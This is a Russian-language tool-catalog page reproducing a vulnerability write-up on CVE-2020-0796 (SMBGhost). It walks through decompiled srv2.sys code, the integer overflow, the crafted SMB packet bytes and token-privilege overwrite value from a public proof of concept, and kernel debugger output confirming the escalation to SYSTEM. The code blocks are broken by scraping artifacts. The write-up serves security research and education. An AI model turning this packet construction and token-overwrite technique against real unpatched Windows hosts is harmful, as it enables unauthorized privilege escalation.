Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-0796 — Технический анализ и proof-of-concept для CVE-2020-0796 (SMBGhost), уязвимость целочисленного переполнения в сжатии SMBv3, приводящая к локальному повышению привилегий на Windows 10/Server. | Kitploit
Инструменты/GitHubGitHub/datntsec/cve-2020-0796
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubdatntsec/cve-2020-0796

CVE-2020-0796

Технический анализ и proof-of-concept для CVE-2020-0796 (SMBGhost), уязвимость целочисленного переполнения в сжатии SMBv3, приводящая к локальному повышению привилегий на Windows 10/Server.

Репозиторий
15 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-0796


Обзор:

Функция сжатия, добавленная в SMBv3 начиная с версии ОС Windows 10/Server 1903, содержит уязвимость целочисленного переполнения, подтвержденную Microsoft 12 марта 2020 года. Позволяет атакующему выполнять локальное повышение привилегий (LPE) и удаленное выполнение кода (RCE). Здесь будет рассмотрена только уязвимость LPE.

Затронутые версии:

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows Server, version 1903 (Server Core installation)
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows Server, version 1909 (Server Core installation)

Анализ процесса декомпрессии SMB:

Анализ файла srv2.sys показывает, что функции, связанные с декомпрессией, вызываются следующим образом:``` js Srv2ReceiveHandler | | v Srv2DecompressMessageAsync | | v Srv2DecompressData -------> SrvNetAllocateBuffer | | v SmbCompressionDecompress | | v memcpy

root@kitploit:~
Сначала вызывается функция `Srv2ReceiveHandler` для приема пакета данных smb и вызова функции, соответствующей протоколу `ProtocolId`. Если `PrococolId` = 0x424D53FC, то вызывается функция `Srv2DecompressMessageAsync`, которая, в свою очередь, вызывает функцию `Srv2DecompressData` для распаковки пакета данных. Функция `Srv2DecompressData` вызывает `SrvNetAllocateBuffer` для выделения `Alloc`, используемого для хранения данных после распаковки, затем вызывает `SmbCompressionDecompress` для выполнения распаковки пакета данных и, наконец, вызывает `memcpy`. Таким образом, весь процесс распаковки включает следующие основные этапы:
- 1. Allocate
- 2. Decompress
- 3. Copy

Согласно документации Microsoft, структура `COMPRESSION_TRANSFORM_HEADER` используется для отправки и получения сжатых данных между клиентом и сервером. Она имеет следующую структуру:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
   ULONG ProtocolId;
   ULONG OriginalCompressedSegmentSize;
   USHORT CompressionAlgorithm;
   USHORT Flags;
   ULONG Offset;
} ;

Здесь мы сосредоточимся только на двух основных полях:

  • OriginalCompressedSegmentSize — это размер несжатого сегмента данных в байтах.
  • Offset — это смещение в байтах между началом сжатых данных и концом структуры _COMPRESSION_TRANSFORM_HEADER.

Таким образом, сжатый пакет данных будет иметь следующий вид:

``` c typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER;

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }

root@kitploit:~
ULONG FinalCompressedSize = 0;

NTSTATUS Status = SmbCompressionDecompress(
    Header->CompressionAlgorithm,
    (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
    (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
    (PUCHAR)Alloc->UserBuffer + Header->Offset,
    Header->OriginalCompressedSegmentSize,
    &FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

if (Header->Offset > 0) {
    memcpy(
        Alloc->UserBuffer,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
        Header->Offset);
}

Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;

}

root@kitploit:~
Анализ функции `Srv2DecompressData`: функция принимает сжатый пакет данных `COMPRESSION_TRANSFORM_HEADER` (Header), выделяет область памяти (Alloc) с помощью функции `SrvNetAllocateBuffer` с параметром, равным сумме `Header->OriginalCompressedSegmentSize` + `Header->Offset`, затем распаковывает сжатые данные и копирует несжатые данные в `Alloc->Buffer`.

![](https://assets.kitploit.com/production/public/readmes/24501/a5bf8b5059336fb3677162343bace0d0b45085f2eb89e42d85f81e032fe233dc.png)

Ошибка целочисленного переполнения происходит, когда `Srv2DecompressData` вызывает функцию `SrvNetAllocateBuffer`. Функция `SrvNetAllocateBuffer` фактически принимает два 64-битных значения, но при вызове `SrvNetAllocateBuffer` `Srv2DecompressData` передает ей только два 32-битных значения (ULONG). При этом и `OriginalCompressedSegmentSize`, и `Offset` являются ULONG, и при их сложении может получиться число больше 32 бит. Поэтому возникает ошибка целочисленного переполнения (проще говоря, при сложении 0xffffffff (`OriginalCompressedSegmentSize`) с 0x10 (`Offset`) получится значение 0xf0000000f, но функция `SrvNetAllocateBuffer` получает только значение 0x0000000f).

![](https://assets.kitploit.com/production/public/readmes/24501/5ef540fac05ff782b005994410e1c43f18c0503fd134a57e1e6ed50c1fbc8219.png)

Ошибка целочисленного переполнения приведет к неправильному выделению памяти Alloc (необходимый размер выделения меньше фактического), что может вызвать переполнение буфера:
![](https://assets.kitploit.com/production/public/readmes/24501/24c32abbbd764c35df1e73a00b5844711af77018cb54942a9738f5c9cac7ce4a.png)

Чтобы узнать, происходит ли переполнение буфера и как именно, мы проанализируем функции `SrvNetAllocateBuffer` и `SmbCompressionDecompress`.``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
  v3 = 0;
  v4 = a2;
  v5 = 0;
  if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
  {
    if ( allocSize > 0x1000100 )
      return 0i64;
    v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
  }
  else
  {
    if ( allocSize > 0x1100 )
    {
      _RCX = allocSize - 256;
      __asm
      {
        bsr     rdx, rcx
        bsf     rax, rcx
      }
      if ( (_DWORD)_RDX == (_DWORD)_RAX )
        v3 = _RDX - 12;
      else
        v3 = _RDX - 11;
    }
    v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
    v7 = *(_DWORD *)v6 - 1;
    if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
      v7 = (unsigned __int16)v2 + 1;
    v8 = (unsigned int)v7;
    v9 = *(_QWORD *)(v6 + 32);
    v10 = *(_QWORD *)(v9 + 8 * v8);
    if ( !*(_BYTE *)(v10 + 0x70) )
      PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
    ++*(_DWORD *)(v10 + 20);
    v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
    if ( !v11 )
    {
      ++*(_DWORD *)(v10 + 24);
      v12 = *(_DWORD *)(v10 + 44);
      v13 = *(_DWORD *)(v10 + 40);
      v14 = *(_DWORD *)(v10 + 36);
      LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
      v11 = v15;
    }
    v5 = 2;
  }
  if ( v11 )
  {
    *(_WORD *)(v11 + 0x10) |= v5;
    *(_WORD *)(v11 + 0x12) = v3;
    *(_WORD *)(v11 + 0x14) = v2;
    if ( v4 )
    {
      v24 = *(_DWORD *)(v4 + 0x24);
      if ( v24 >= *(_DWORD *)(v11 + 0x20) )
        v24 = *(_DWORD *)(v11 + 0x20);
      v25 = *(void **)(v11 + 0x18);
      *(_DWORD *)(v11 + 0x24) = v24;
      memcpy(v25, *(const void **)(v4 + 0x18), v24);
      v26 = *(_WORD *)(v4 + 0x16);
      if ( v26 )
      {
        *(_WORD *)(v11 + 0x16) = v26;
        memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
      }
    }
    else
    {
      *(_DWORD *)(v11 + 36) = 0;
    }
  }
  return v11;
}

Приведённый выше код взят из псевдокода IDA Pro и выглядит довольно запутанно. Однако мы можем понять его проще, взглянув на код, переписанный Zecops:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...

root@kitploit:~
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
    if (AllocSize > 0x1000100) {
        return NULL;
    }
    Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
    int LookasideListIndex = 0;
    if (AllocSize > 0x1100) {
        LookasideListIndex = /* some calculation based on AllocSize */;
    }

    SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
    Result = /* fetch result from list */;
}

// Initialize some Result fields...

return Result;

}

root@kitploit:~
Функция `SrvNetAllocateBuffer` принимает размер, который необходимо выделить, затем проверяет, не превышает ли размер 0x100100, и если больше, возвращает NULL. Эта функция также проверяет переменную `SrvDisableNetBufferLookAsideList`, однако я не нашёл никакой документации об этой переменной, и по умолчанию она установлена в 0, поэтому, вероятно, она не очень важна.

Если условие выполняется, функция продолжает вычислять значение index на основе переданного AllocSize, затем извлекает значение из массива `SrvNetBufferLookasides` (этот массив состоит из 9 элементов) на основе вычисленного index и выполняет выделение. По коду на ассемблере Zecops использовал `python` для вычисления размеров, соответствующих каждому index:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]

Таким образом, при запросе на выделение размера, меньшего или равного 0x1100, функция выделяет область памяти размером 0x1100; при запросе на выделение размера больше 0x1100 и меньше или равного 0x2100, функция выделяет область памяти размером 0x2100; аналогично для больших запросов.

После выделения функция возвращает адрес, по которому хранится структура, названная Zcops ALLOCATION_HEADER. Согласно исследованию, эта структура содержит следующие данные:

Интересно, что ALLOCATION_HEADER находится непосредственно под ALLOCATION_HEADER->UserBuffer. Если можно вызвать переполнение буфера UserBuffer, то можно записать произвольное значение в ALLOCATION_HEADER.

Далее посмотрим, что делает функция SmbCompressionDecompress:``` c __int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize) { PVOID v6; // rdi@1 __int64 v7; // r14@1 __int64 v8; // r15@1 int v9; // ebx@2 int v10; // ecx@3 int v11; // ecx@4 signed __int16 v12; // bx@6 __int64 v13; // rsi@12 unsigned int v14; // ebp@12 int v16; // [sp+40h] [bp-28h]@1 SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1

v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }

root@kitploit:~
Код выше взят из псевдокода IDA. Если вы не понимаете, что делает этот код, вы можете посмотреть код, переписанный Zecops:``` c
NTSTATUS SmbCompressionDecompress(
    USHORT CompressionAlgorithm,
    PUCHAR UncompressedBuffer,
    ULONG  UncompressedBufferSize,
    PUCHAR CompressedBuffer,
    ULONG  CompressedBufferSize,
    PULONG FinalCompressedSize)
{
    // ...
 
    NTSTATUS Status = RtlDecompressBufferEx2(
        ...,
        FinalUncompressedSize,
        ...);
    if (Status >= 0) {
        *FinalCompressedSize = CompressedBufferSize;
    }
 
    // ...
 
    return Status;
}

Эта функция в основном выполняет распаковку сжатых данных и сохраняет их в Alloc->UserBuffer + Offset. Если распаковка прошла успешно, параметр FinalCompressedSize будет приравнен к параметру CompressedBufferSize, который является значением OriginalCompressedSegmentSize, переданным из функции Srv2DecompressData.

Возвращаясь к функции Srv2DecompressData: после выполнения функции SmbCompressionDecompress функция затем сравнивает значения FinalCompressedSize и OriginalCompressedSegmentSize на равенство, а также проверяет, является ли возвращаемый Status < 0.``` c if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; }

root@kitploit:~
Как уже было сказано выше, если распаковка прошла успешно, то `FinalCompressedSize` и `OriginalCompressedSegmentSize` будут равны, а возвращаемый `Status` будет больше или равен нулю. Следовательно, если распаковка успешна, то код внутри функции if выше выполняться не будет. Далее приступим к анализу следующего фрагмента кода:``` c
if (Header->Offset > 0) {
        memcpy( // copy raw data into UserBuffer 
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
}

Этот код проверяет Header->Offset > 0. Значение Offset — это смещение между сжатыми данными и концом Header, соответствующее размеру несжатых данных. Затем вызывается функция memcpy для копирования несжатых данных в начало Alloc->UserBuffer.

Таким образом, если возможно использовать ошибку переполнения буфера, перезаписать область Alloc Header так, чтобы изменить значение указателя Alloc->UserBuffer на адрес A, то по адресу A будут находиться несжатые данные, отправленные клиентом. Для ясности проведем анализ POC от Daniel García Gutiérrez (@danigargu) и Manuel Blanco Parajón (@dialluvioso_), затем отладим для лучшего понимания.

Анализ POC:

POC выполняет следующее:

  • Получает собственный токен.

  • Создает массив buffer размером 0x1110, сохраняет в начале массива 0x1108 символов 'A', затем сохраняет значение [Token + 0x40], полученное ранее. Цель этого действия будет объяснена позже.

  • Сжимает данные в массиве buffer и сохраняет их в массив compressed_buffer.

  • Создает массив buf, содержащий данные, как показано ниже:``` c const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, 0x00, 0x00, 0x33,

    root@kitploit:~
      /* SMB Header */
      0xFC, 0x53, 0x4D, 0x42, /* protocol id */
      0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
      0x02, 0x00,             /* compression algorithm, LZ77 */
      0x00, 0x00,             /* flags */
      0x10, 0x00, 0x00, 0x00, /* offset */
    

    };

root@kitploit:~
- Затем создайте массив `packet` размером: `sizeof(buf) + 0x10 + len`, где `len` – размер `buffer` после сжатия (размер **data** из `compressed_buffer`).
- Скопируйте данные массива `buf` в `packet`, затем скопируйте значение `0x1FF2FFFFBC`, а затем данные массива `compressed_buffer`:``` c
  memcpy(packet, buf, sizeof(buf));
	*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
	*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
	memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
  • Отправить packet на SMB-сервер.
  • После указанного шага программа POC повышает свои привилегии до system, затем POC выполняет OpenProcess для winlogon.exe и внедряет shellcode для открытия cmd.

Далее я объясню некоторые сложные моменты в POC, упомянутые выше.

Почему массив buffer необходимо создавать размером 0x1110 байт и помещать в него 0x1108 символов 'A' и одно значение [token + 0x40]. В целом, цель этого POC — использовать функции в SMB для изменения значения token->Privileges самого себя ([Token + 0x40]).

В заголовке SMB нас интересуют original decompressed size и Offset, которые соответственно равны 0xffffffff и 0x00000010. Это нужно для того, чтобы SMB совершил ошибку целочисленного переполнения, в результате чего выделился массив Alloc->Buffer размером всего 0x1100 (что меньше 0x1110 + размер необработанных данных).

Значение 0x1FF2FFFFBC, записываемое в 0x10 байт после заголовка, — это значение, хранящееся в token->Privileges->Present и token->Privileges->Enabled процесса SYSTEM. Это означает, что если у какого-либо процесса token->Privileges->Present и token->Privileges->Enabled равны 0x1FF2FFFFBC, то этот процесс обладает привилегиями процесса SYSTEM.

Из вышесказанного можно предположить, что POC стремится, чтобы функции в SMB изменили значения token->Privileges->Present и token->Privileges->Enabled на 0x1FF2FFFFBC. Чтобы убедиться в этом, перейдём к отладке ядра.

Отладка ядра

Сначала установим точку останова в начале функции Srv2DecompressData```` 0: kd> bm srv2!Srv2DecompressData 1: fffff80717c47e60 @!"srv2!Srv2DecompressData" 0: kd> bl 1 e Disable Clear fffff807`17c47e60 0001 (0001) srv2!Srv2DecompressData

root@kitploit:~
Затем запускается POC, вызывается функция `Srv2DecompressData`, ядро останавливается в начале функции `srv2!Srv2DecompressData`. Приступаем к просмотру данных заголовка:``` 
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10  424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20  f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30  403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40  00ffffae 00000000 00000000 00000000

Эти данные массива packet, которые POC отправил на SMB, как показано в анализе POC выше: первые 0x10 байт — это заголовок SMB, следующие 0x10 байт содержат два значения 0x1FF2FFFFBC — это область необработанных данных, а следующие 0x13 байт — это сжатые буферные данные. Таким образом, общий размер заголовка составляет 0x33 байта.

Теперь перейдём к вызову функции SrvNetAllocateBuffer для просмотра передаваемых параметров: действительно, функция SrvNetAllocateBuffer принимает параметры 0xf и null.

Возвращаемое значение функции SrvNetAllocateBuffer — это указатель на структуру ALLOCATION_HEADER (в терминах данной статьи).``` 1: kd> dd rax ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e ffffd10e`94729170 00001100 00000000 00001278 75881029

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/24501/e3a63fc2fa82d7b9a33041a4476fa6ffb5dccc8901448378bea85d7f2834e0a2.png)

Затем вызывается функция `SmbCompressionDecompress`, которая распаковывает и записывает распакованные данные в `Alloc->Buffer + Header -> Offset`.```
1: kd> dd ffffd10e94728050
ffffd10e`94728050  1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060  41414141 41414141 41414141 41414141
ffffd10e`94728070  41414141 41414141 41414141 41414141
...
ffffd10e`94729150  41414141 41414141 41414141 41414141
ffffd10e`94729160  41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170  00001100 00000000 00001278 75881029

1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : 0x00000006`02880000
   +0x008 Enabled          : 0x800000
   +0x010 EnabledByDefault : 0x40800000

В этот момент Alloc->Buffer был перезаписан на адрес [Token + 0x40]. Функция Srv2DecompressData вызывает memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); для копирования необработанных данных в Alloc->UserBuffer. Однако Alloc->UserBuffer был перезаписан на Token->Privileges, поэтому необработанные данные будут записаны в Token->Privileges:``` 1: kd> dt _sep_token_privileges ffffae8dafb9e770 nt!_SEP_TOKEN_PRIVILEGES +0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc +0x010 EnabledByDefault : 0x40800000

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/24501/be25e63dd205f4b2660e0cf51254f0801a5574fc20c90cbf1633364dff732026.png)

На этом этапе программа POC получила права SYSTEM, следующим шагом является открытие программы SYSTEM (winlogon.exe) и внедрение шелл-кода для запуска cmd.

# Ссылки
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)

[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)

[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)

[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)

<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>
Скачать инструмент